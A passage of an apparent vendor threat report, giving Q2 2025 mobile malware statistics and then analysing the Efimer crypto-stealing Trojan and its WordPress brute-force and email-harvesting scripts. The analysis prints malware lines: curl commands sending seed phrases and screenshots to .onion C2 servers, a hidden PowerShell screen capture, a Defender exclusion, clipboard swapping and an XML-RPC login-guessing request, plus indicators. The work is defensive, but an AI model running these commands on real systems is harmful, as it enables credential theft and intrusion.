The trend is mainly due to a decrease in the activity of RiskTool.AndroidOS.SpyLoan. These are applications typically associated with microlenders and containing a potentially dangerous framework for monitoring borrowers and collecting their data, such as contacts lists. Curiously, such applications have been found pre-installed on some devices.
In Q2, we found a new malicious app for Android and iOS that was stealing images from the gallery. We were able to determine that this campaign was linked to the previously discovered SparkCat, so we dubbed it SparkKitty.
Fake app store page distributing SparkKitty
Like its “big brother”, the new malware most likely targets recovery codes for crypto wallets saved as screenshots.
Trojan-DDoS.AndroidOS.Agent.a was this past quarter’s unusual discovery. Malicious actors embedded an SDK for conducting dynamically configurable DDoS attacks into apps designed for viewing adult content. The Trojan allows for sending specific data to addresses designated by the attacker at a set frequency. Building a DDoS botnet from mobile devices with adult apps installed may seem like a questionable venture in terms of attack efficiency and power – but apparently, some cybercriminals have found a use for this approach.
In Q2, we also encountered Trojan-Spy.AndroidOS.OtpSteal.a, a fake VPN client that hijacks user accounts. Instead of the advertised features, it uses the Notification Listener service to intercept OTP codes from various messaging apps and social networks, and sends them to the attackers’ Telegram chat via a bot.
The number of Android malware and potentially unwanted app samples decreased from Q1, reaching a total of 142,762 installation packages.
Detected malware and potentially unwanted app installation packages, Q2 2024 — Q2 2025 (download)
The distribution of detected installation packages by type in Q2 was as follows:
Detected mobile malware by type, Q1 — Q2 2025 (download)
* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.
Banking Trojans remained in first place, with their share increasing relative to Q1. The Mamont family continues to dominate this category. In contrast, spy Trojans dropped to fifth place as the surge in the number of APK files for the SMS-stealing Trojan-Spy.AndroidOS.Agent.akg subsided. The number of Agent.amw spyware files, which masquerade as casino apps, also decreased.
RiskTool-type unwanted apps and adware ranked second and third, respectively, while Trojans – with most files belonging to the Triada family – occupied the fourth place.
Share* of users attacked by the given type of malicious or potentially unwanted apps out of all targeted users of Kaspersky mobile products, Q1 — Q2 2025 (download)
* The total may exceed 100% if the same users experienced multiple attack types.
The distribution of attacked users remained close to that of the previous quarter. The increase in the share of backdoors is linked to the discovery of Backdoor.Triada.z, which came pre-installed on devices. As for adware, the proportion of users affected by the HiddenAd family has grown.
Note that the malware rankings below exclude riskware or potentially unwanted software, such as RiskTool or adware.
| Verdict | %* Q1 2025 | %* Q2 2025 | Difference (p.p.) | Change in rank |
| Trojan.AndroidOS.Fakemoney.v | 26.41 | 14.57 | -11.84 | 0 |
| Trojan-Banker.AndroidOS.Mamont.da | 11.21 | 12.42 | +1.20 | +2 |
| Backdoor.AndroidOS.Triada.z | 4.71 | 10.29 | +5.58 | +3 |
| Trojan.AndroidOS.Triada.fe | 3.48 | 7.16 | +3.69 | +4 |
| Trojan-Banker.AndroidOS.Mamont.ev | 0.00 | 6.97 | +6.97 | |
| Trojan.AndroidOS.Triada.gn | 2.68 | 6.54 | +3.86 | +3 |
| Trojan-Banker.AndroidOS.Mamont.db | 16.00 | 5.50 | -10.50 | -4 |
| Trojan-Banker.AndroidOS.Mamont.ek | 1.83 | 5.09 | +3.26 | +7 |
| DangerousObject.Multi.Generic. | 19.30 | 4.21 | -15.09 | -7 |
| Trojan-Banker.AndroidOS.Mamont.eb | 1.59 | 2.58 | +0.99 | +7 |
| Trojan.AndroidOS.Triada.hf | 3.81 | 2.41 | -1.40 | -4 |
| Trojan-Downloader.AndroidOS.Dwphon.a | 2.19 | 2.24 | +0.05 | 0 |
| Trojan-Banker.AndroidOS.Mamont.ef | 2.44 | 2.20 | -0.24 | -2 |
| Trojan-Banker.AndroidOS.Mamont.es | 0.05 | 2.13 | +2.08 | |
| Trojan-Banker.AndroidOS.Mamont.dn | 1.46 | 2.13 | +0.67 | +5 |
| Trojan-Downloader.AndroidOS.Agent.mm | 1.45 | 1.56 | +0.11 | +6 |
| Trojan-Banker.AndroidOS.Agent.rj | 1.86 | 1.45 | -0.42 | -3 |
| Trojan-Banker.AndroidOS.Mamont.ey | 0.00 | 1.42 | +1.42 | |
| Trojan-Banker.AndroidOS.Mamont.bc | 7.61 | 1.39 | -6.23 | -14 |
| Trojan.AndroidOS.Boogr.gsh | 1.41 | 1.36 | -0.06 | +3 |
* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.
The activity of Fakemoney scam apps noticeably decreased in Q2, but they still held the top position. Almost all the other entries on the list are variants of the popular banking Trojan Mamont, pre-installed Trojans like Triada and Dwphon, and modified messaging apps with the Triada Trojan built in (Triada.fe, Triada.gn, Triada.ga, and Triada.gs).
This section describes malware types that mostly affected specific countries.
| Verdict | Country* | %** |
| Trojan-Banker.AndroidOS.Coper.c | Türkiye | 98.65 |
| Trojan-Banker.AndroidOS.Coper.a | Türkiye | 97.78 |
| Trojan-Dropper.AndroidOS.Rewardsteal.h | India | 95.62 |
| Trojan-Banker.AndroidOS.Rewardsteal.lv | India | 95.48 |
| Trojan-Dropper.AndroidOS.Agent.sm | Türkiye | 94.52 |
| Trojan.AndroidOS.Fakeapp.hy | Uzbekistan | 86.51 |
| Trojan.AndroidOS.Piom.bkzj | Uzbekistan | 85.83 |
| Trojan-Dropper.AndroidOS.Pylcasa.c | Brazil | 83.06 |
* The country where the malware was most active.
** Unique users who encountered this Trojan variant in the indicated country as a percentage of all Kaspersky mobile security solution users attacked by the same variant.
In addition to the typical banking Trojans for this category – Coper, which targets users in Türkiye, and Rewatrdsteal, active in India – the list also includes the fake job search apps Fakeapp.hy and Piom.bkzj, which specifically target Uzbekistan. Both families collect the user’s personal data. Meanwhile, new droppers named “Pylcasa” operated in Brazil. They infiltrate Google Play by masquerading as simple apps, such as calculators, but once launched, they open a URL provided by malicious actors – similar to Trojans of the Fakemoney family. These URLs may lead to illegal casino websites or phishing pages.
The number of banking Trojans detected in Q2 2025 was slightly lower than in Q1 but still significantly exceeded the figures for 2024. Kaspersky solutions detected a total of 42,220 installation packages of this type.
Number of installation packages for mobile banking Trojans detected by Kaspersky, Q2 2024 — Q2 2025 (download)
The bulk of mobile banking Trojan installation packages still consists of various modifications of Mamont, which account for 57.7%. In terms of the share of affected users, Mamont also outpaced all its competitors, occupying nearly all the top spots on the list of the most widespread banking Trojans.
| Verdict | %* Q1 2025 | %* Q2 2025 | Difference (p.p.) | Change in rank |
| Trojan-Banker.AndroidOS.Mamont.da | 26.68 | 30.28 | +3.59 | +1 |
| Trojan-Banker.AndroidOS.Mamont.ev | 0.00 | 17.00 | +17.00 | |
| Trojan-Banker.AndroidOS.Mamont.db | 38.07 | 13.41 | -24.66 | -2 |
| Trojan-Banker.AndroidOS.Mamont.ek | 4.37 | 12.42 | +8.05 | +2 |
| Trojan-Banker.AndroidOS.Mamont.eb | 3.80 | 6.29 | +2.50 | +2 |
| Trojan-Banker.AndroidOS.Mamont.ef | 5.80 | 5.36 | -0.45 | -2 |
| Trojan-Banker.AndroidOS.Mamont.es | 0.12 | 5.20 | +5.07 | +23 |
| Trojan-Banker.AndroidOS.Mamont.dn | 3.48 | 5.20 | +1.72 | +1 |
| Trojan-Banker.AndroidOS.Agent.rj | 4.43 | 3.53 | -0.90 | -4 |
| Trojan-Banker.AndroidOS.Mamont.ey | 0.00 | 3.47 | +3.47 | 9 |
In Q2 2025, the number of attacks involving malware, adware, and unwanted software decreased compared to Q1. At the same time, Trojans and banking Trojans remained the most common threats, particularly the highly active Mamont family. Additionally, the quarter was marked by the discovery of the second spyware Trojan of 2025 to infiltrate the App Store, along with a fake VPN client stealing OTP codes and a DDoS bot concealed within porn-viewing apps.
In June, we encountered a mass mailing campaign impersonating lawyers from a major company. These emails falsely claimed the recipient’s domain name infringed on the sender’s rights. The messages contained the Efimer malicious script, designed to steal cryptocurrency. This script also includes additional functionality that helps attackers spread it further by compromising WordPress sites and hosting malicious files there, among other techniques.
Report summary:
Kaspersky products classify this threat with the following detection verdicts:
In June, we detected a mass mailing campaign that was distributing identical messages with a malicious archive attached. The archive contained the Efimer stealer, designed to pilfer cryptocurrency. This malware was dubbed “Efimer” because the word appeared in a comment at the beginning of its decrypted script. Early versions of this Trojan likely emerged around October 2024, initially spreading via compromised WordPress websites. While attackers continue to use this method, they expanded their distribution in June to include email campaigns.
Part of the script with comments
The emails that users received claimed that lawyers from a large company had reviewed the recipient’s domain and found words or phrases in its name that infringed upon their registered trademarks. The emails threatened legal action but offered to drop the lawsuit if the domain owner changed the domain name. Furthermore, they even expressed willingness to purchase the domain. The specific domain was never mentioned in the email. Instead, the attachment supposedly contained “details” about the alleged infringement and the proposed buyout amount.
Sample email
In a recent phishing attempt, targets received an email with a ZIP attachment named “Demand_984175” (MD5: e337c507a4866169a7394d718bc19df9). Inside, recipients found a nested, password-protected archive and an empty file named “PASSWORD – 47692”. It’s worth noting the clever obfuscation used for the password file: instead of a standard uppercase “S”, the attackers used the Unicode character U+1D5E6. This subtle change was likely implemented to prevent automated tools from easily extracting the password from the filename.
Archive contents
If the user unzips the password-protected archive, they’ll find a malicious file named “Requirement.wsf”. Running this file infects their computer with the Efimer Trojan, and they’ll likely see an error message.
Error message
Here’s how this infection chain typically plays out. When the Requirement.wsf script first runs, it checks for administrator privileges. It does this by attempting to create and write data to a temporary file at C:\\Windows\\System32\\wsf_admin_test.tmp. If the write is successful, the file is then deleted. What happens next depends on the user’s access level:
Login
C:\\Users\\Public\\controller folder to the Windows Defender antivirus exclusions. This folder will then be used to store various files. It also adds to exclusions the full path to the currently running WSF script and the system processes C:\\Windows\\System32\\exe and C:\\Windows\\System32\\cmd.exe. Following this, the script saves two files to the aforementioned path: “controller.js” (containing the Efimer Trojan) and “controller.xml”. Finally, it creates a scheduler task in Windows, using the configuration from controller.xml.HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\controller registry key. The controller is then launched via the WScript utility.
Afterward, the script uses WScript methods to display an error message dialog box and then exits. This is designed to mislead the user, who might be expecting an application or document to open, when in reality, nothing useful occurs.
The controller.js script is a ClipBanker-type Trojan. It’s designed to replace cryptocurrency wallet addresses the user copies to their clipboard with the attacker’s own. On top of that, it can also run external code received directly from its command-and-control server.
The Trojan starts by using WMI to check if Task Manager is running.
If it is, the script exits immediately to avoid detection. However, if Task Manager isn’t running, the script proceeds to install a Tor proxy client on the victim’s computer. The client is used for communication with the C2 server.
The script has several hardcoded URLs to download Tor from. This ensures that even if one URL is blocked, the malware can still retrieve the Tor software from the others. The sample we analyzed contained the following URLs:
| https://inpama[.]com/wp-content/plugins/XZorder/ntdlg.dat |
| https://www.eskisehirdenakliyat[.]com/wp-content/plugins/XZorder/ntdlg.dat |
| https://ivarchasv[.]com/wp-content/plugins/XZorder/ntdlg.dat |
| https://echat365[.]com/wp-content/plugins/XZorder/ntdlg.dat |
| https://navrangjewels[.]com/wp-content/plugins/XZorder/ntdlg.dat |
The file it downloads from one of the URLs (A46913AB31875CF8152C96BD25027B4D) is the Tor proxy service. The Trojan saves it to C:\\Users\\Public\\controller\\ntdlg.exe. If the download fails, the script terminates.
Assuming a successful download, the script launches the file with the help of WScript and then goes dormant for 10 seconds. This pause likely allows the Tor service to establish a connection with the Onion network and initialize itself. Next, the script attempts to read a GUID from C:\\Users\\Public\\controller\\GUID. If the file cannot be found, it generates a new GUID via createGUID() and saves it to the specified path.
The GUID format is always vs1a-<4 random hex characters>, for example, vs1a-1a2b.
The script then tries to load a file named “SEED” from C:\\Users\\Public\\controller\\SEED. This file contains mnemonic phrases for cryptocurrency wallets that the script has collected. We’ll delve into how it finds and saves these phrases later in this post. If the SEED file is found, the script sends it to the server and then deletes it. These actions assume that the script might have previously terminated improperly, which would have prevented the mnemonic phrases from being sent to the server. To avoid losing collected data in case of an error, the malware saves them to a file before attempting to transmit them.
At this point, the controller concludes its initialization process and enters its main operation cycle.
In each cycle of operation, the controller checks every 500 milliseconds whether Task Manager is running. As before, if it is, the process exits.
If the script doesn’t terminate, it begins to ping the C2 server over the Tor network. To do this, the script sends a request containing a GUID (Globally Unique Identifier) to the server. The server’s response will be a command. To avoid raising suspicion with overly frequent requests while maintaining constant communication, the script uses a timer (the p_timer variable).
As we can see, every 500 milliseconds (half a second), immediately after checking if Task Manager is running, p_timer decrements by 1. When the variable reaches 0 (it’s also zero on the initial run), the timer is reset using the following formula: the PING_INT variable, which is set to 1800, is multiplied by two, and the result is stored in p_timer. This leaves 1800 seconds, or 30 minutes, until the next update. After the timer updates, the PingToOnion function is called, which we discuss next. Many similar malware strains constantly spam the network, hitting their C2 server for commands. The behavior quickly gives them away. A timer allows the script to stay under the radar while maintaining its connection to the server. Making requests only once every half an hour makes them much harder to spot in the overall traffic flow.
The PingToOnion function works hand-in-hand with CheckOnionCMD. In the first one, the script sends a POST request to the C2 using the curl utility, routing the request through a Tor proxy located at localhost:9050 at the address:
http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion/route.php
The server’s response is saved to the user’s %TEMP% directory at %TEMP%\cfile.
curl -X POST -d "' + _0x422bc3 + '" --socks5-hostname localhost:9050 ' + PING_URL + ' --max-time 30 -o ' + tempStrings + '\\cfile
After a request is sent to the server, CheckOnionCMD immediately kicks in. Its job is to look for a server response in a file named “cfile” located in the %TEMP% directory. If the response contains a GUID command, the malware does nothing. This is likely a PONG response from the server, confirming that the connection to the C2 server is still alive and well. However, if the first line of the response contains an EVAL command, it means all subsequent lines are JavaScript code. This code will then be executed using the eval function.
Regardless of the server’s response, the Trojan then targets the victim’s clipboard data. Its primary goal is to sniff out mnemonic phrases and swap copied cryptocurrency wallet addresses with the attacker’s own wallet addresses.
First, it scans the clipboard for strings that look like mnemonic (seed) phrases.
If it finds any, these phrases are saved to a file named “SEED” (similar to the one the Trojan reads at startup). This file is then exfiltrated to the server using the PingToOnion function described above with the action SEED parameter. Once sent, the SEED file is deleted. The script then takes five screenshots (likely to capture the use of mnemonic phrases) and sends them to the server as well.
They are captured with the help of the following PowerShell command:
powershell.exe -NoProfile -WindowStyle Hidden -Command "$scale = 1.25; Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $sw = [System.Windows.Forms.SystemInformation]::VirtualScreen.Width; $sh = [System.Windows.Forms.SystemInformation]::VirtualScreen.Height; $w = [int]($sw * $scale); $h = [int]($sh * $scale); $bmp = New-Object Drawing.Bitmap $w, $h; $g = [Drawing.Graphics]::FromImage($bmp); $g.ScaleTransform($scale, $scale); $g.CopyFromScreen(0, 0, 0, 0, $bmp.Size); $bmp.Save(\'' + path.replace(/\\/g, '\\\\') + '\', [Drawing.Imaging.ImageFormat]::Png); ' + '$g.Dispose(); $bmp.Dispose();"
The FileToOnion function handles sending files to the server. It takes two arguments: the file itself (in this case, a screenshot) and the path where it needs to be uploaded.
Screenshots are sent to the following path on the server:
http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion/recvf.php
Files are also sent via a curl command:
curl -X POST -F "file=@' + screenshot + '" ' + '-F "MGUID=' + GUID + '" ' + '-F "path=' + path + '" ' + '--socks5-hostname localhost:9050 "' + FILE_URL + '"
After sending the file, the script goes idle for 50 seconds. Then, it starts replacing cryptocurrency wallet addresses. If the clipboard content is only numbers, uppercase and lowercase English letters, and includes at least one letter and one number, the script performs additional checks to determine if it’s a Bitcoin, Ethereum, or Monero wallet. If a matching wallet is found in the clipboard, the script replaces it according to the following logic:
This clipboard swap is typically executed with the help of the following command:
cmd.exe /c echo|set/p= + new_clipboard_data + |clip
After each swap, the script sends data to the server about both the original wallet and the replacement.
As mentioned above, in addition to email, the Trojan spreads through compromised WordPress sites. Attackers search for poorly secured websites, brute-force their passwords, and then post messages offering to download recently released movies. These posts include a link to a password-protected archive containing a torrent file.
![Here's an example of such a post on https://lovetahq[.]com/sinners-2025-torent-file/](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/08/07001809/efimer-trojan15.png)
Here’s an example of such a post on https://lovetahq[.]com/sinners-2025-torent-file/
Downloaded files
To watch a movie in the XMPEG format, the user would seemingly need to launch xmpeg_player.exe. However, this executable is actually another version of the Efimer Trojan installer. Similar to the WSF variant, this EXE installer extracts the Trojan’s main component into the C:\\Users\\Public\\Controller folder, but it’s named “ntdlg.js”. Along with the Trojan, the installer also extracts the Tor proxy client, named “ntdlg.exe”. The installer then uses PowerShell to add the script to startup programs and the “Controller” folder to Windows Defender exclusions.
cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Controller\'
The extracted Trojan is almost identical to the one spread via email. However, this version’s code includes spoofed wallets for Tron and Solana, in addition to the Bitcoin, Ethereum, and Monero wallets. Also, the GUID for this version starts with “vt05”.
On some compromised machines, we uncovered several other intriguing scripts communicating with the same .onion domain as the previously mentioned ones. We believe the attackers installed these via an eval command to execute payloads from their C2 server.
Among these additional scripts, we found a file named “btdlg.js” (MD5: 0f5404aa252f28c61b08390d52b7a054). This script is designed to brute-force passwords for WordPress sites.
Once executed, it generates a unique user ID, such as fb01-<4 random hex characters>, and saves it to C:\\Users\\Public\\Controller\\.
The script then initiates multiple processes to launch brute-force attacks against web pages. The code responsible for these attacks is embedded within the same script, prior to the main loop. To trigger this functionality, the script must be executed with the “B” parameter. Within its main loop, the script initiates itself by calling the _runBruteProc function with the parameter “B”.
After a brute-force attack is completed, the script returns to the main loop. Here, it will continue to spawn new processes until it reaches a hardcoded maximum of 20.
Thus, the script supports two modes – brute-force and the main one, responsible for the initial launch. If the script is launched without any parameters, it immediately enters the main loop. From there, it launches a new instance of itself with the “B” parameter, kicking off a brute-force attack.
The script’s operation cycle involves both the brute-force code and the handler for its core logic
The brute-force process starts via the GetWikiWords function: the script retrieves a list of words from Wikipedia. This list is then used to identify new target websites for the brute-force attack. If the script fails to obtain the word list, it waits 30 minutes before retrying.
The script then enters its main operation loop. Every 30 minutes, it initiates a request to the C2 server. This is done with the help of the PingToOnion method, which is consistent with the similarly named methods found in other scripts. It sends a BUID command, transmitting a unique user ID along with brute-force statistics. This includes the total number of domains attacked, and the count of successful and failed attacks.
After this, the script utilizes the GetRandWords function to generate a list of random words sourced from Wikipedia.
Finally, using these Wikipedia-derived random words as search parameters, the script employs the getSeDomains function to search Google and Bing for domains to target with brute-force attacks.
Part of the getSeDomains function
The ObjID function calculates an eight-digit hexadecimal hash, which acts as a unique identifier for a special object (obj_id). In this case, the special object is a file containing brute-force information. This includes a list of users for password guessing, success/failure flags for brute-force attempts, and other script-relevant data. For each distinct domain, this data is saved to a separate file. The script then checks if this identifier has been encountered before. All unique identifiers are stored in a file named “UDBXX.dat”. The script searches the file for a new identifier, and if one isn’t found, it’s added. This identifier tracking helps save time by avoiding reprocessing of already known domains.
For every new domain, the script makes a request using the WPTryPost function. This is an XML-RPC function that attempts to create a test post using a potential username and password. The command to create the post looks like this:
<?xml version="1.0"?><methodCall><methodName>metaWeblog.newPost</methodName><params><param><value><string>1</string></value></param><param><value><string>' + %LOGIN%+ '</string></value></param>' + '<param><value><string>' + %PASSWORD%+ '</string></value></param>' + '<param><value><struct>' + '<member>' + '<name>title</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '<member>' + '<name>description</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '<member>' + '<name>mt_keywords</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '<member>' + '<name>mt_excerpt</name>' + '<value><string>0x1c8c5b6a</string></value>' + '</member>' + '</struct></value></param>' + '<param><value><boolean>1</boolean></value></param>' + '</params>' + '</methodCall>
When the XML-RPC request is answered, whether successfully or not, the WPGetUsers function kicks in to grab users from the domain. This function hits the domain at /wp-json/wp/v2/users, expecting a list of WordPress site users in return.
This list of users, along with the domain and counters tracking the number of users and passwords brute-forced, gets written to the special object file described above. The ID for this file is calculated with the help of ObjID. After processing a page, the script lies dormant for five seconds before moving on to the next one.
Meanwhile, multiple processes are running concurrently on the victim’s computer, all performing brute-force operations. As mentioned before, when the script is launched with the “B” argument, it enters an infinite brute-forcing loop, with each process independently handling its targets. At the start of each iteration, there’s a randomly chosen 1–2 second pause. This delay helps stagger the start times of requests, making the activity harder to detect. Following this, the process retrieves a random object file ID for processing from C:\\Users\\Public\\Controller\\objects by calling ObjGetW.
The ObjGetW function snags a random domain object that’s not currently tied up by a brute-force process. Locked files are marked with the LOCK extension. Once a free, random domain is picked for brute-forcing, the lockObj function is called. This changes the file’s extension to LOCK so other processes don’t try to work on it. If all objects are locked, or if the chosen object can’t be locked, the script moves to the next loop iteration and tries again until it finds an available file. If a file is successfully acquired for processing, the script extracts data from it, including the domain, password brute-force counters, and a list of users.
Based on these counter values, the script checks if all combinations have been exhausted or if the maximum number of failed attempts has been exceeded. If the attempts are exhausted, the object is deleted, and the process moves on to a new iteration. If attempts remain, the script tries to authenticate with the help of hardcoded passwords.
When attempting to guess a password for each user, a web page post request is sent via the WPTryPost function. Depending on the outcome of the brute-force attempt, ObjUpd is called to update the status for the current domain and the specific username-password combination.
After the status is updated, the object is unlocked, and the process pauses randomly before continuing the cycle with a new target. This ensures continuous, multi-threaded credential brute-forcing, which is also regulated by the script and logged in a special file. This logging prevents the script from starting over from scratch if it crashes.
Successfully guessed passwords are sent to the C2 with the GOOD command.
We also discovered another script named “assembly.js” (MD5: 100620a913f0e0a538b115dbace78589). While similar in functionality to controller.js and ntdlg.js, it has several significant differences.
Similarly to the first script, this one belongs to the ClipBanker type. Just like its predecessors, this malware variant reads a unique user ID. This time it looks for the ID at C:\\Users\\Public\\assembly\\GUID. If it can’t find or read that ID, it generates a new one. This new ID follows the format M11-XXXX-YYYY, where XXXX and YYYY are random four-digit hexadecimal numbers. Next up, the script checks if it’s running inside a virtual machine environment.
If it detects a VM, it prefixes the GUID string with a “V”; otherwise, it uses an “R”. Following this, the directory where the GUID is stored (which appears to be the script’s main working directory) is hidden.
After that, a file named “lptime” is saved to the same directory. This file stores the current time, minus 21,000 seconds. Once these initial setup steps are complete, the malware enters its main operation loop. The first thing it does is check the time stored in the “lptime” file. If the difference between the current time and the time in the file is greater than 21,600 seconds, it starts preparing data to send to the server.
After that, the script attempts to read data from a file named “geip”, which it expects to find at C:\\Users\\Public\\assembly\\geip. This file contains information about the infected device’s country and IP address. If it’s missing, the script retrieves information from https://ipinfo.io/json and saves it. Next, it activates the Tor service, located at C:\\Users\\Public\\assembly\\upsvc.exe.
Afterwards, the script uses the function GetWalletsList to locate cryptocurrency wallets and compile a list of its findings.
It prioritizes scanning of browser extension directories for Google Chrome and Brave, as well as folders for specific cryptocurrency wallet applications whose paths are hardcoded within the script.
The script then reads a file named “data” from C:\\Users\\Public\\assembly. This file typically contains the results of previous searches for mnemonic phrases in the clipboard. Finally, the script sends the data from this file, along with the cryptocurrency wallets it discovered from application folders, to a C2 server at:
http://he5vnov645txpcv57el2theky2elesn24ebvgwfoewlpftksxp4fnxad[.]onion/assembly/route.php
After the script sends the data, it verifies the server’s response with the help of the CheckOnionCMD function, which is similar to the functions found in the other scripts. The server’s response can contain one of the following commands:
Next, the script scans the clipboard for strings that resemble mnemonic phrases and cryptocurrency wallet addresses.
Any discovered data is then XOR-encrypted using the key $@#LcWQX3$ and saved to a file named “data”. After these steps, the entire cycle repeats.
This script operates as another spy, much like the others we’ve discussed, and shares many similarities. However, its purpose is entirely different. Its primary goal is to collect email addresses from specified websites and send them to the C2 server. The script receives the list of target websites as a command from the C2. Let’s break down its functionality in more detail.
At startup, the script first checks for the presence of the LUID (unique identifier for the current system) in the main working directory, located at C:\\Users\\Public\\Controller\\LUID. If the LUID cannot be found, it creates one via a function similar to those seen in other scripts. In this case, the unique identifier takes the format fl01-<4 random hex characters>.
Next, the checkUpdate() function runs. This function checks for a file at C:\\Users\\Public\\Controller\\update_l.flag. If the file exists, the script waits for 30 seconds, then deletes update_l.flag, and terminates its operation.
Afterwards, the script periodically (every 10 minutes) sends a request to the server to receive commands. It uses a function named PingToOnion, which is similar to the identically named functions in other scripts.
The request includes the following parameters:
In this section of the code, LIAM string is used as the action, and the data parameter contains the number of collected email addresses along with the script operation statistics.
If the script unexpectedly terminates due to an error, it can send a log in addition to the statistics, where the action parameter will contain LOGS string, and the data parameter will contain the error message.
The request is sent to the following C2 address:
http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion/route.php
The server returns a JSON-like structure, which the next function later parses.
The structure dictates the commands the script should execute.
This script supports two primary functions:
The script receives domains and iterates through each one to find hyperlinks and email addresses on the website pages.
The GetPageLinks function parses the HTML content of a webpage and extracts all links that reside on the same domain as the original page. This function then filters these links, retaining only those that point to HTML/PHP files or files without extensions.
The PageGetLiame function extracts email addresses from the page’s HTML content. It can process both openly displayed addresses and those encapsulated within mailto links .
Following this initial collection, the script revisits all previously gathered links on the C2-provided domains, continuing its hunt for additional email addresses. Finally, the script de-duplicates the entire list of harvested email addresses and saves them for future use.
pstack and buffer, where:
pstack is an array of domains to which subsequent POST requests will be sent;buffer is an array of strings, each containing data in the format of address,subject,message.The script randomly selects a domain from pstack and then uploads one of the strings from the buffer parameter to it. This part of the script likely functions as a spam module, designed to fill out forms on target websites. For each successful data submission via a POST request to a specific domain, the script updates its statistics (which we mentioned earlier) with the number of successful transmissions for that domain.
If an error occurs within this loop, the script catches it and reports it back to the C2 server with the LOGS command.
Throughout the code, you’ll frequently encounter the term “Liame”, which is simply “Email” spelled backwards. Similarly, variations like “Liama”, “Liam”, and “Liams” are also present, likely derived from “Liame”. This kind of “wordplay” in the code is almost certainly an attempt to obscure the malicious intent of its functions. For example, instead of a clearly named “PageGetEmail” function, you’d find “PageGetLiame”.
From October 2024 through July 2025, Kaspersky solutions detected the Efimer Trojan impacting 5015 Kaspersky users. The malware exhibited its highest level of activity in Brazil, where attacks affected 1476 users. Other significantly impacted countries include India, Spain, Russia, Italy, and Germany.
TOP 10 countries by the number of users who encountered Efimer (download)
The Efimer Trojan combines a number of serious threats. While its primary goal is to steal and swap cryptocurrency wallets, it can also leverage additional scripts to compromise WordPress sites and distribute spam. This allows it to establish a complete malicious infrastructure and spread to new devices.
Another interesting characteristic of this Trojan is its attempt to propagate among both individual users and corporate environments. In the first case, attackers use torrent files as bait, allegedly to download popular movies; in the other, they send claims about the alleged unauthorized use of words or phrases registered by another company.
It’s important to note that in both scenarios, infection is only possible if the user downloads and launches the malicious file themselves. To protect against these types of threats, we urge users to avoid downloading torrent files from unknown or questionable sources, always verify email senders, and consistently update their antivirus databases.
For website developers and administrators, it’s crucial to implement measures to secure their resources against compromise and malware distribution. This includes regularly updating software, using strong (non-default) passwords and two-factor authentication, and continuously monitoring their sites for signs of a breach.
Hashes of malicious files
39fa36b9bfcf6fd4388eb586e2798d1a — Requirement.wsf
5ba59f9e6431017277db39ed5994d363 — controller.js
442ab067bf78067f5db5d515897db15c — xmpeg_player.exe
16057e720be5f29e5b02061520068101 — xmpeg_player.exe
627dc31da795b9ab4b8de8ee58fbf952 — ntdlg.js
0f5404aa252f28c61b08390d52b7a054 — btdlg.js
eb54c2ff2f62da5d2295ab96eb8d8843 — liame.js
100620a913f0e0a538b115dbace78589 — assembly.js
b405a61195aa82a37dc1cca0b0e7d6c1 — btdlg.js
Hashes of clean files involved in the attack
5d132fb6ec6fac12f01687f2c0375353 — ntdlg.exe (Tor)
Websites
hxxps://lovetahq[.]com/sinners-2025-torent-file/
hxxps://lovetahq[.]com/wp-content/uploads/2025/04/movie_39055_xmpg.zip
C2 URLs
hxxp://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad[.]onion
hxxp://he5vnov645txpcv57el2theky2elesn24ebvgwfoewlpftksxp4fnxad[.]onion
